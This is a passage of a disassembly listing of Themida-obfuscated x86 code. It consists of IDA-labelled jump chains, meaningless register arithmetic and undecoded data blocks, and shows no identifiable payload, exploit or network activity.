dd 3A84573h, 542FE956h, 0EB010000h, 4F83E9h, 0E9DBF700h
dd 668Ch, 148BF488h, 4C48324h, 48BE788h, 4C48124h, 0FF000000h
dd 0C8B2434h, 4C48124h, 0E9000000h, 6D84h, 0E904EC83h
dd 86A6h, 5C243433h, 24148966h, 0FFCF0FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557511: ; CODE XREF: Themida_:00559811j
sub edi, 2AC0225Ah
sub edi, 5BF011A2h
xor edi, 20010278h
add edi, 5686F9B8h
jmp loc_54FB13
; ---------------------------------------------------------------------------
loc_55752E: ; CODE XREF: Themida_:005615C9j
or edx, eax
shl edx, 1
push eax
jmp loc_55D97B
; ---------------------------------------------------------------------------
dd 3324248Bh, 34312434h, 24343324h, 3024248Bh, 0E99C2404h
dd 0FFFF6875h, 15DFE95Ah, 335F0000h, 34312434h, 24343324h
dd 2404295Ch, 685BE99Ch, 8950FFFFh, 58C589F0h, 8124348Bh
dd 4C4h, 5DEF2900h, 2474FF57h, 48F5F04h, 0DBCAE924h, 8B66FFFFh
dd 5457240Ch, 5F2434FFh, 8104C483h, 4C7h, 0D3E3E900h, 0D789FFFFh
dd 8324148Bh, 7C0104C4h, 33E90824h
db 83h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5575B3: ; CODE XREF: Themida_:0055C23Aj
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
push 2749h
mov [esp], ebp
jmp loc_55E979
; ---------------------------------------------------------------------------
loc_5575CF: ; CODE XREF: Themida_:00551C68j
push dword ptr [esp]
jmp loc_54FDDB
; ---------------------------------------------------------------------------
db 89h
dd 0D67FE9E0h, 0AEBBFFFFh, 0F70AAE2Dh, 0A3C381DBh, 31D22F61h
dd 0E9555BDEh, 1FD5h
; ---------------------------------------------------------------------------
loc_5575F4: ; CODE XREF: Themida_:00559B93j
pop esi
jmp loc_55112C
; ---------------------------------------------------------------------------
loc_5575FA: ; CODE XREF: Themida_:0055241Cj
push esp
pop ebx
push esi
mov esi, 430559C4h
xor esi, 430559C0h
add ebx, esi
pop esi
push edi
mov edi, 3565510Ah
or edi, 4BA72A91h
shr edi, 2
jmp loc_55FA95
; ---------------------------------------------------------------------------
db 8Fh
dd 4832404h, 48B0424h, 7C246824h, 0ABE90000h, 100001Bh
dd 53525EF0h, 3F4468h, 24048900h, 0B25ED0B8h, 765BBB32h
dd 0C32987C9h, 6ED0E9h
db 0
; ---------------------------------------------------------------------------
loc_557651: ; CODE XREF: Themida_:0055C986j
add esp, 4
jmp loc_55D792
; ---------------------------------------------------------------------------
loc_55765C: ; CODE XREF: Themida_:0054EA3Cj
xor esi, 6DAA5AE4h
neg esi
jmp loc_560996
; ---------------------------------------------------------------------------
db 5Bh, 81h, 0C5h
dd 2BDC773Fh, 0ED81C501h, 2BDC773Fh, 70F8E9h, 0E9515200h
dd 0FFFFF9E9h, 761DBB53h, 0D8290A35h, 0FFBEE5E9h, 243C8BFFh
dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 12ECh
; ---------------------------------------------------------------------------
loc_5576AC: ; CODE XREF: Themida_:0055E6FAj
pop eax
pop ebx
sub al, ch
mov cx, [esp]
push ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 663F2EC0h
dec ecx
neg ecx
jmp loc_55463A
; ---------------------------------------------------------------------------
db 5
dd 0B407EAE3h, 0FF8414E9h, 145ABBFFh, 0D8297AC8h, 334C2D5Bh
dd 0CCE97FA5h, 55FFFFB1h, 5944BD66h, 8EDC166h, 0A9F58166h
dd 0EA096641h, 0C281665Dh, 0C166116Ch, 816607EAh, 666701C2h
dd 148BD301h, 0D357E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557712: ; CODE XREF: Themida_:0054EB12j
mov edx, 1CA61932h
push ebx
mov ebx, 230F022Ah
push edi
mov edi, 5D1D7A96h
sub edx, edi
pop edi
sub edx, ebx
add edx, 5D1D7A96h
mov ebx, [esp]
add esp, 4
push esi
mov esi, esp
push ecx
push ebp
mov ebp, 47EE6E7Bh
jmp loc_55B716
; ---------------------------------------------------------------------------
loc_557743: ; CODE XREF: Themida_:00562084j
push edi
jmp loc_557128
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0D42E9h, 34EA8100h, 0E9D9B2AEh, 0FFFF7618h, 31241433h
dd 14332414h, 6151E924h, 8B5F0000h, 0C4832434h, 0E9CF0104h
dd 191Ah, 24043166h, 6643E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557782: ; CODE XREF: Themida_:0055F348j
push esi
jmp loc_55638C
; ---------------------------------------------------------------------------
aXhci db 'XhcI',0
align 2
dw 1C89h
aSv db '$é‚$',0
align 2
loc_557796: ; CODE XREF: Themida_:0055B75Dj
add esi, 4F585BABh
jmp loc_55F13E
; ---------------------------------------------------------------------------
db 58h, 81h, 0C4h
dd 4, 0EC81D2F6h, 4, 0E9240489h, 0FFFFF483h
; ---------------------------------------------------------------------------
loc_5577B8: ; CODE XREF: Themida_:00556B4Cj
add ecx, 4
xchg ecx, [esp]
pop esp
push eax
sub esp, 4
mov [esp], esi
pop eax
mov esi, [esp]
add esp, 4
push 3389h
mov [esp], edi
mov edi, 435D6764h
jmp loc_5542FD
; ---------------------------------------------------------------------------
db 0Ch
dd 0B6523Ch, 10E9F000h, 81FFFFDEh, 2C3h, 74FF5300h, 0CCE90424h
dd 0BE000039h, 76E40E8Bh, 66D7EE81h, 0C6815F4Dh, 0EC6188B3h
dd 295EF501h, 0EA015DEAh, 3FCEC281h, 63E935E0h
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55781F: ; CODE XREF: Themida_:00559485j
sub ebx, ecx
sub ebx, 26371EA3h
jmp loc_5593FD
; ---------------------------------------------------------------------------
dd 0F90EE95Ch, 0D3B8FFFFh, 0E919CD5Fh, 0FFFF7D2Dh, 5C241C87h
dd 44BBBF57h, 0F801224Dh, 83243C8Bh, 0F80104C4h, 5C01BE56h
dd 0C146259Bh, 575604EEh, 4FE4E95Eh, 24890000h, 24048124h
dd 4, 8B2434FFh, 0C483243Ch, 48A46804h, 4890000h, 933AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557882: ; CODE XREF: Themida_:0054E5CFj
xor eax, ebx
pop ebx
sub ebp, eax
pop eax
and eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
shr eax, 0Bh
xor ecx, eax
push 2B6Ch
mov [esp], ecx
push esp
mov ecx, [esp]
push esi
push 3923h
mov [esp], esp
jmp loc_55DE66
; ---------------------------------------------------------------------------
loc_5578B3: ; CODE XREF: Themida_:00554C58j
sub esp, 4
mov [esp], esi
mov esi, 42141DC5h
neg esi
neg esi
jmp loc_5613B8
; ---------------------------------------------------------------------------
db 68h
dd 7BD2h, 54241489h, 4C2815Ah, 68000000h, 2115h, 0FFEE92E9h
dd 242C89FFh, 8469E9h, 40478F00h, 0FF64D4E9h, 0EE815BFFh
dd 78725E4h, 11ECEE81h, 0C6010B1Ah, 8310E9h, 3CC56800h
dd 14890000h, 2E98BA24h, 54E9487Dh, 68FFFFA7h, 671DF9DEh
dd 92EA8159h, 177E251h, 92C281CAh, 5977E251h, 148BD389h
dd 4C48324h, 1C8BDA01h, 0E1895124h, 4BF57h, 0F9010000h
dd 4C1815Fh, 51000000h, 42474FFh, 24048F59h, 74FF525Ch
dd 148B0424h, 4C48324h, 0FF9AE6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557965: ; CODE XREF: Themida_:00561531j
mov ebx, esi
pop esi
jmp loc_55B093
; ---------------------------------------------------------------------------
loc_55796D: ; CODE XREF: Themida_:0055A0E0j
or ecx, ebp
pop ebp
push 9E9h
mov [esp], ebx
mov ebx, 1DF5116Eh
sub esp, 4
mov [esp], ebx
jmp loc_558A37
; ---------------------------------------------------------------------------
aSGh db 'S³GhÅ',0Dh,0
align 10h
dd 0E9241C89h, 0FFFFE7EBh, 15AD189h, 5904244Ch, 468505Bh
dd 8B000000h, 0C4832404h, 7707E904h, 4BBFFFFh, 1000000h
dd 0C7835BDFh, 0BF8CE904h, 4BBFFFFh, 1000000h, 0E904245Ch
dd 162Fh
; ---------------------------------------------------------------------------
loc_5579D0: ; CODE XREF: Themida_:00552218j
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add esp, 4
push edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebx
push edx
mov edx, 3CD94008h
mov ebx, edx
pop edx
neg ebx
and ebx, 2F427331h
shl ebx, 3
push edx
mov edx, 5535465h
or ebx, edx
pop edx
add ebx, 0E2AC221Fh
jmp loc_554D8F
; ---------------------------------------------------------------------------
dd 4246C01h, 5D2434FFh, 8B04C483h, 89512414h, 4C181E1h
dd 83000000h, 2CE904C1h
db 34h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557A37: ; CODE XREF: Themida_:00558422j
pop eax
push ecx
mov ecx, esp
jmp loc_55267A
; ---------------------------------------------------------------------------
dd 51C8BF0Fh, 0BE56E189h, 4, 0CD9E9h, 0B9C28100h, 0E94D903Ch
dd 0FFFF6369h
; ---------------------------------------------------------------------------
loc_557A5C: ; CODE XREF: Themida_:0054E413j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push esi
mov esi, 4
sub eax, esi
pop esi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5592F9
; ---------------------------------------------------------------------------
loc_557A83: ; CODE XREF: Themida_:0055C05Fj
sub ebp, 48E54E14h
sub ebp, 41C442FDh
pop ebx
jmp loc_560FF7
; ---------------------------------------------------------------------------
aYhd9 db 'YhD9',0
dw 8900h
dd 0DD68241Ch, 8900006Dh, 4812424h, 424h, 9392E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557AB2: ; CODE XREF: Themida_:005596CCj
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_54EE2D
; ---------------------------------------------------------------------------
dw 0C781h
dd 4, 4BB53h, 0DF010000h, 0A109E95Bh, 0E950FFFFh, 0FFFF6576h
; ---------------------------------------------------------------------------
loc_557AD8: ; CODE XREF: Themida_:0055BDA2j
add edx, 4
push ebp
mov ebp, 5EB147C5h
xor ebp, 576300B7h
add ebp, 0F62DB892h
sub edx, ebp
pop ebp
xchg edx, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, 4
jmp loc_55F7C8
; ---------------------------------------------------------------------------
loc_557B06: ; CODE XREF: Themida_:0056171Cj
add ebp, eax
pop eax
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_55381B
; ---------------------------------------------------------------------------
db 80h, 0C2h, 0D4h
dd 8B13E950h, 38050000h, 1674B5Ah, 0FEE957E8h, 68FFFF91h
dd 387h, 0FF240489h, 34FF2434h, 1C07E924h, 34FF0000h, 0C4835824h
dd 24048F04h, 6624248Bh, 2404B30Fh, 6267E99Ch, 0F681FFFFh
dd 63150206h, 0B4A7C681h, 0EA81AC7Bh, 2FB001B4h, 0C281F201h
dd 2FB001B4h, 10B8505Eh, 35370571h, 37057114h, 8758C201h
dd 295C2414h, 68042454h, 7BE1h, 0E9243489h, 2382h, 79B95159h
dd 0E96AAA2Eh, 95BFh
; ---------------------------------------------------------------------------
loc_557BA8: ; CODE XREF: Themida_:00560895j
add dword ptr [esp+4], 17150733h
add [esp+4], edi
sub dword ptr [esp+4], 17150733h
jmp loc_55991D
; ---------------------------------------------------------------------------
db 81h, 44h, 24h
dd 73042604h, 4815D25h, 427AD424h, 24040153h, 7AD4BB53h
dd 5C295342h, 685B0424h, 2B85h, 0BA241489h, 108C2637h
dd 4244481h, 5B9A2569h, 0C0A68h, 24148900h, 0A97111BAh
dd 9485E960h, 5346FFFFh, 0FFF9D1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557C0D: ; CODE XREF: Themida_:00560DE0j
mov esi, 4
add ebx, 1F9B3644h
sub ebx, 5F070B0Dh
jmp loc_560808
; ---------------------------------------------------------------------------
db 52h
dd 2C8E954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557C2A: ; CODE XREF: Themida_:0055AFAAj
add esi, 539B0D64h
jmp loc_556C5D
; ---------------------------------------------------------------------------
db 81h, 0EBh, 93h
dd 0E9407E13h, 0FFFFD426h
; ---------------------------------------------------------------------------
loc_557C40: ; CODE XREF: Themida_:0054E44Bj
add [esp+4], ebx
pop ebx
mov esi, [esp]
add esp, 4
sub esi, 68330F44h
mov eax, esi
mov esi, [esp]
add esp, 4
pop edx
sub [edi+24h], eax
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
loc_557C76: ; CODE XREF: Themida_:00554F7Aj
push 6D5Ah
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_55BD12
; ---------------------------------------------------------------------------
loc_557C8E: ; CODE XREF: Themida_:0054E3D9j
add ebp, 612F2F00h
pop edi
xchg ebp, [esp]
jmp loc_554665
; ---------------------------------------------------------------------------
db 81h, 0C2h, 4
dd 68000000h, 2778h, 0FF241489h, 0FF042474h, 505A2434h
dd 0A0E9E089h
db 66h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557CBB: ; CODE XREF: Themida_:00550C86j
add al, ch
add al, 0A1h
jmp loc_55A23A
; ---------------------------------------------------------------------------
loc_557CC4: ; CODE XREF: Themida_:005571F0j
push edi
mov edi, 0E420A79h
not edi
jmp loc_54DED3
; ---------------------------------------------------------------------------
loc_557CD1: ; CODE XREF: Themida_:0056292Dj
push dword ptr [esp+4]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_55C252
; ---------------------------------------------------------------------------
loc_557CE0: ; CODE XREF: Themida_:00557028j
push edi
push 4
pop edi
jmp loc_556008
; ---------------------------------------------------------------------------
dd 22E9E589h, 87FFFFE8h, 335C2414h, 2C31242Ch, 242C3324h
dd 5324248Bh, 0C381E389h, 4, 5304EB83h, 9FCDE9h, 0D9CB8100h
dd 0E9165D17h, 0FFFFCD56h, 0C0FE3CB0h, 4624D8F6h, 3404E634h
dd 0B32E9h, 48F5900h, 69ACE924h, 0FF66FFFFh, 6083E932h
dd 248BFFFFh, 6BD76824h, 4890000h, 43CC6824h, 24890000h
dd 24048324h, 2434FF04h, 0FFE048E9h, 0DCF65AFFh, 0F6B75366h
dd 68C480h, 68EC80FCh, 0F4805B66h, 4EC812Ch, 89000000h
dd 0E2882414h, 8B5AD788h, 94E92404h, 8900006Eh, 2434FFF0h
dd 7DB6E9h, 0D831AD00h, 2FE568h, 0E0FE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557DA2: ; CODE XREF: Themida_:00554ADDj
mov esi, 6E5767B7h
shr esi, 4
xor esi, 6E5767Fh
add ecx, esi
pop esi
jmp loc_54FC4D
; ---------------------------------------------------------------------------
dd 503E8C1h, 6E7DED87h, 8158C189h, 837553C9h, 5E1814Eh
dd 5301E57Fh, 5F1A4568h, 0EB815B74h, 5818EBFFh, 815BD909h
dd 506A04C1h, 2AC78105h, 297D254Ah, 2AEF81CFh, 0E97D254Ah
dd 64DCh, 23056B05h, 58C689B8h, 0FFEF09E9h, 4EC83FFh, 0E9241489h
dd 47D3h, 89240C89h, 94E952E1h
db 83h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557E1B: ; CODE XREF: Themida_:0055FF5Cj
sub ebx, 145E0A65h
sub ebx, 1
jmp loc_54F462
; ---------------------------------------------------------------------------
dd 8B66C200h, 0C4812404h, 2, 0DBEB80h, 1411E9D3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557E42: ; CODE XREF: Themida_:00554C3Aj
push ebp
jmp loc_5553EE
; ---------------------------------------------------------------------------
dd 2434FF54h, 0E924148Bh, 0FFFFEC1Fh, 8704C583h, 815C242Ch
dd 4C4h, 8BF83100h, 8951243Ch, 4C181E1h, 81000000h, 4C1h
dd 0CE25E900h, 1FBFFFFFh, 8941C45Ch, 2434FFFAh, 9883E9h
db 0
; ---------------------------------------------------------------------------
loc_557E89: ; CODE XREF: Themida_:00558690j
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_551882
; ---------------------------------------------------------------------------
loc_557E9D: ; CODE XREF: Themida_:00557FF9j
xor eax, ebp
pop ebp
push eax
pop ebp
pop eax
add ebp, 0FFFFFFFFh
jmp loc_55D377
; ---------------------------------------------------------------------------
loc_557EAB: ; CODE XREF: Themida_:0055BCE9j
sub esp, 4
mov [esp], ebx
jmp loc_560D69
; ---------------------------------------------------------------------------
loc_557EB9: ; CODE XREF: Themida_:005596F5j
pop ebx
jmp loc_556444
; ---------------------------------------------------------------------------
db 81h
dd 42404h, 815F0000h, 4C7h, 4C78100h, 33000000h, 0E9E9243Ch
dd 59FFFF7Ch, 4EC81h, 7CE90000h, 81FFFFBAh, 902F37C5h
dd 7594E95Bh, 515A0000h, 70C7B850h, 480558B2h, 57CE260h
dd 21647DC6h, 6B12F05h, 58C18909h, 8FE9CA01h, 51FFFF9Ch
dd 0E464BBB9h, 0BFF18142h, 8942E464h, 99E959C8h, 6600004Ch
dd 57241C8Bh, 0C7815F54h, 4, 2C781h, 3C870000h, 0E9805C24h
dd 76E9804Fh, 0EC81C128h, 4, 2F40E9h
db 0
; ---------------------------------------------------------------------------
loc_557F51: ; CODE XREF: Themida_:0054E597j
xor edx, [esp]
mov esp, [esp]
shr eax, 0Eh
jmp loc_54ED53
; ---------------------------------------------------------------------------
db 2Dh
dd 25B683Eh, 12Dh, 0FE4AE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557F6E: ; CODE XREF: Themida_:00551F15j
sub ebx, (offset aDaf+2)
sub eax, ebx
push dword ptr [esp]
pop ebx
sub esp, 4
mov [esp], ebx
push esp
pop ebx
jmp loc_555A96
; ---------------------------------------------------------------------------
db 81h
dd 9D3BC5C2h, 7CC28149h, 2928D64Bh, 7CEA81F2h, 0E928D64Bh
dd 140Eh, 0D37A52B8h, 0C5BD5543h, 0E90A7777h, 0FFFFD769h
; ---------------------------------------------------------------------------
loc_557FB0: ; CODE XREF: Themida_:005597E3j
push 1B963D3Dh
pop eax
jmp loc_555D74
; ---------------------------------------------------------------------------
loc_557FBB: ; CODE XREF: Themida_:0055A3A5j
sub edi, 79E7DCC2h
add ebx, edi
pop edi
push 3A77h
mov [esp], ebp
mov ebp, ebx
mov esi, ebp
pop ebp
pop ebx
and eax, esi
jmp loc_5620A9
; ---------------------------------------------------------------------------
loc_557FD9: ; CODE XREF: Themida_:00551498j
push dword ptr [esp]
push dword ptr [esp]
jmp loc_55893B
; ---------------------------------------------------------------------------
dd 0E987D5F7h, 0FFEB8BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557FED: ; CODE XREF: Themida_:00562345j
xor ebp, 39E70A6h
mov ecx, [esp]
add esp, 4
jmp loc_557E9D
; ---------------------------------------------------------------------------
loc_557FFE: ; CODE XREF: Themida_:00558E2Ej
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
sub esp, 4
mov [esp], ebx
sub esp, 4
jmp loc_55A364
; ---------------------------------------------------------------------------
db 87h
dd 835C2404h, 0EC8104C4h, 4, 0FFC001E9h, 5DEB29FFh, 5C241C87h
dd 240C8966h, 0EA884DB5h, 240C8B66h, 4B6DE953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558046: ; CODE XREF: Themida_:0055AE09j
sub esp, 4
mov [esp], edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
jmp loc_555CF8
; ---------------------------------------------------------------------------
loc_558064: ; CODE XREF: Themida_:0055408Dj
push edi
mov edi, esp
jmp loc_55634F
; ---------------------------------------------------------------------------
loc_55806C: ; CODE XREF: Themida_:005543B8j
push ecx
push esi
mov esi, 0A873897h
jmp loc_55D2CC
; ---------------------------------------------------------------------------
loc_558078: ; CODE XREF: Themida_:00553742j
push dword ptr [esp]
pop ebp
add esp, 4
pop ebx
add ebx, 4
push 4719h
mov [esp], ebp
push ebx
push 53F479E6h
pop ebx
xor ebx, 2AC2A05h
push eax
jmp loc_561420
; ---------------------------------------------------------------------------
loc_5580A4: ; CODE XREF: Themida_:00556402j
pop edx
add edx, 4
push ebp
jmp loc_5565D1
; ---------------------------------------------------------------------------
loc_5580B1: ; CODE XREF: Themida_:00560B4Aj
xor edx, 7D7B0F37h
shr edx, 6
neg edx
sub edx, 1
jmp loc_54E689
; ---------------------------------------------------------------------------
dd 0E7C1D7F7h, 9B47E907h, 483FFFFh, 48F0424h, 24048124h
dd 4, 5D2434FFh, 6071E9h, 58C78800h, 75E9535Ah, 0FE00004Dh
dd 0C1B252C5h, 8079B753h, 0EFC045F7h, 6EF8003h, 0FE20B753h
dd 63C780C7h, 0DFF6DFF6h, 0E9CEEF80h, 0A150h, 140CB5B9h
dd 0E9CF2912h, 6D41h, 0E8386ABFh, 94B6863h, 2C890000h
dd 52FDBD24h, 0EDC1682Dh, 70F58104h, 8172BE22h, 36E155F5h
dd 5DEF3124h, 0E781DFF7h, 56071EFEh, 0B850EFD1h, 7D396BAFh
dd 0D8F7D0F7h, 0E056800Dh, 4E8C14Fh, 0A0CF42Dh, 9784E97Ah
dd 1C87FFFFh, 8F545C24h, 0BD552404h, 4, 4246C01h, 0BCE95A5Dh
dd 5AFFFF90h, 0B9CBE56h, 0EE815E50h, 567936D1h, 8196E9h
dd 81E68900h, 4C6h, 4C68100h, 87000000h, 15C2434h, 0A5B9E9FEh
dd 0D6680000h, 8900007Ah, 19B9240Ch, 8940F974h, 7C58E9CDh
dd 0ED81FFFFh, 116D0B27h, 885CE951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5581CE: ; CODE XREF: Themida_:0055038Dj
pop edx
push eax
push esi
push edx
jmp loc_555728
; ---------------------------------------------------------------------------
db 31h
dd 2434FFDEh, 0FFC113E9h, 4BEFFh, 5C2D0000h, 103AB53h
dd 711EE9F0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5581F2: ; CODE XREF: Themida_:0055A384j
push eax
mov eax, 0C896F77h
inc eax
sub eax, 709605B5h
xor eax, 8441553h
xor eax, 0C29D1BEBh
sub ebx, eax
push dword ptr [esp]
pop eax
jmp loc_5595E4
; ---------------------------------------------------------------------------
loc_558213: ; CODE XREF: Themida_:00554EB6j
push esp
pop edi
add edi, 4
add edi, 4
xor edi, [esp]
jmp loc_5502CA
; ---------------------------------------------------------------------------
loc_558229: ; CODE XREF: Themida_:0054DED9j
add ebp, 446C26A8h
sub ebp, edi
sub ebp, 446C26A8h
pop edi
dec ebp
not ebp
add ebp, 49CD556Ah
push esi
mov esi, ebp
jmp loc_55921E
; ---------------------------------------------------------------------------
db 68h, 56h, 12h
aIxsa db '‰XéA#',0
db 0
; ---------------------------------------------------------------------------
loc_558253: ; CODE XREF: Themida_:00557440j
not edi
sub edi, 0ACFEA7Fh
mov ebx, edi
mov edi, [esp]
add esp, 4
add ebx, 1
shr ebx, 5
xor ebx, edx
xor edx, ebx
xor ebx, edx
not edx
xchg edx, ebx
neg ebx
shr ebx, 1
push ecx
mov ecx, 0D188C0h
xor ebx, ecx
jmp loc_55870D
; ---------------------------------------------------------------------------
loc_558287: ; CODE XREF: Themida_:00551B49j
push 5AC2h
jmp loc_55A7BC
; ---------------------------------------------------------------------------
db 1, 6Ch, 24h
dd 0F927E904h, 1C8BFFFFh, 2E656824h, 4890000h, 5585424h
dd 4, 0E904C083h, 5C5Ch, 0FF241489h, 0FF042474h, 835A2434h
dd 48F04C4h, 0CFE5C24h, 62E99C24h, 5200009Bh, 396068h
dd 241C8900h, 241C8B54h, 8104C483h, 4C3h, 6BE5600h, 817F6533h
dd 9ACCFEC6h, 5EF32980h, 31241C33h, 1C33241Ch, 8F545C24h
dd 4832404h, 815A0424h, 4C2h, 0F98BE900h, 148BFFFFh, 4C48124h
dd 33000000h, 0C31240Ch, 240C3324h, 0C8B665Ch
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 3736h
mov [esp], esi
jmp loc_55CC3B
; ---------------------------------------------------------------------------
loc_558339: ; CODE XREF: Themida_:0055A5DFj
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], ebp
push 5FE3h
jmp loc_556AFB
; ---------------------------------------------------------------------------
aIS db ')ë]éÄ',0Dh,0
align 4
dd 0B057E1B8h, 58C78916h, 0FFAFB3E9h, 4C481FFh, 81000000h
dd 4C6h, 6805E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558376: ; CODE XREF: Themida_:005537C6j
push edx
mov edx, 0D60C9BBEh
sub edi, edx
jmp loc_5593B9
; ---------------------------------------------------------------------------
loc_558383: ; CODE XREF: Themida_:00556C94j
pop esp
mov [esp], ebp
jmp loc_562228
; ---------------------------------------------------------------------------
loc_55838C: ; CODE XREF: Themida_:00554308j
pop edi
push 6073h
jmp loc_55FA33
; ---------------------------------------------------------------------------
db 83h
dd 68FFEFh, 0E9000000h, 350Fh, 24048F58h, 0D3C0E95Ch, 0E789FFFFh
dd 4C781h, 6BE90000h
db 97h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5583BB: ; CODE XREF: Themida_:0054E4DBj
push dword ptr [esp]
pop eax
add esp, 4
loc_5583C2: ; CODE XREF: Themida_:00556D95j
push 697Dh
mov [esp], ebx
push 29DFh
mov [esp], ebp
mov ebp, 2D6C4581h
xor [esp+4], ebp
mov ebp, [esp]
add esp, 4
jmp loc_55EAB8
; ---------------------------------------------------------------------------
dw 2DADh
dd 104A509Fh, 167CB32Dh, 2691E91Fh, 0C3890000h, 2DD7E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5583FE: ; CODE XREF: Themida_:0055A04Dj
push 6F4Fh
mov [esp], esi
pop dword ptr [edx]
pop esi
mov edx, [esp]
jmp loc_54E3F5
; ---------------------------------------------------------------------------
loc_558411: ; CODE XREF: Themida_:0055E427j
mov [esp], ebp
push 6388191Ch
pop ebp
jmp loc_560450
; ---------------------------------------------------------------------------
loc_55841F: ; CODE XREF: Themida_:005600AAj
push dword ptr [esp]
jmp loc_557A37
; ---------------------------------------------------------------------------
db 81h
dd 0C805FDE1h, 0C1814146h, 979FED3Ch, 8159CF29h, 5D3EAh
dd 81FA0156h, 5D3C2h, 243C8B56h, 81E28952h, 4C2h, 0AD19E900h
dd 0FA01FFFFh, 8F7FE9h, 24048B00h, 0A032E9h, 565E5400h
dd 0C681E689h, 4, 0E904EE83h, 58EFh, 59E9815Bh, 89399A5Bh
dd 0E80159CDh, 3A9E9h
db 0
; ---------------------------------------------------------------------------
loc_558489: ; CODE XREF: Themida_:0055A097j
sub cl, dh
mov edx, [esp]
jmp loc_55DF45
; ---------------------------------------------------------------------------
db 58h
dd 0DB2AE951h, 148BFFFFh, 5E545624h, 1EA268h, 240C8900h
dd 59B968h, 243C8900h, 0A2081668h, 243C8B21h, 4C481h, 0D7F70000h
dd 11BAE9h, 24248B00h, 0B9240C89h, 303B2B60h, 0FF5C94E9h
dd 240489FFh, 466FFBB8h, 9007B966h, 0C10199B9h, 582434FFh
dd 8104C483h, 70106C6h, 0E9CE0148h, 21ACh, 8159CB29h, 0BD5DC6C3h
dd 0CEFAE907h, 0EE88FFFFh, 83240C8Bh, 0EE8004C4h, 5AF028DEh
dd 8904EC83h, 0ADE9241Ch, 0FFFFFF68h, 81582434h, 4C4h
dd 24148B00h, 4C481h, 0EC810000h, 4, 53240489h, 0FBE93EB7h
dd 81FFFFAAh, 0EF5ACFCAh, 5C2814Fh, 1901081h, 0C1815AD1h
dd 4, 0E9240C87h, 0FFFFD549h, 28B6664h, 73B36866h, 24048966h
dd 0FF5854E9h, 244481FFh, 0E03B1C04h, 245C010Dh, 1CBF5704h
dd 290DE03Bh, 5F08247Ch, 0FFACBEE9h, 0BAFFh, 0DA010000h
dd 34FF0288h, 20E95A24h, 29000086h, 0A7E95AD5h
db 64h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5585A7: ; CODE XREF: Themida_:0054FE15j
pop edx
push edi
mov edi, 1B4189Fh
sub edi, 1B4189Bh
push esi
mov esi, 36037176h
inc esi
and esi, 30FA5670h
shl esi, 3
add esi, 0E449B830h
sub edx, esi
pop esi
add edx, edi
add edx, 645C3BB0h
pop edi
push eax
jmp loc_5554CA
; ---------------------------------------------------------------------------
aASpP0xx db '€ÅsP´p0åX',0
aSyai8sq db 'èY€ë8éŸ-',0
align 10h
unicode 0, <¿>,0
dd 0FFFA8900h, 835F2434h, 75E904C4h
db 7Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558603: ; CODE XREF: Themida_:0054FDD6j
sub esp, 4
mov [esp], ecx
push ebx
mov ebx, 4D2F0179h
push 6361CE4h
jmp loc_560A1A
; ---------------------------------------------------------------------------
loc_55861C: ; CODE XREF: Themida_:005500C5j
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, esp
add ebp, 4
push 622h
mov [esp], esi
jmp loc_55253F
; ---------------------------------------------------------------------------
dd 0E924248Bh, 0FFFF7EC6h, 531FBB53h, 0D3F7544Ch, 0E905E3C1h
dd 374Fh, 4EC815Fh, 89000000h, 0DBD242Ch, 0C12FB670h, 0CD8102EDh
dd 2C3B340Ch, 43F5C581h, 0EA81D000h, 34AC26FBh, 0C281EA29h
dd 34AC26FBh, 98E8E95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55868A: ; CODE XREF: Themida_:0054F352j
pop eax
add eax, 4
jmp loc_557E89
; ---------------------------------------------------------------------------
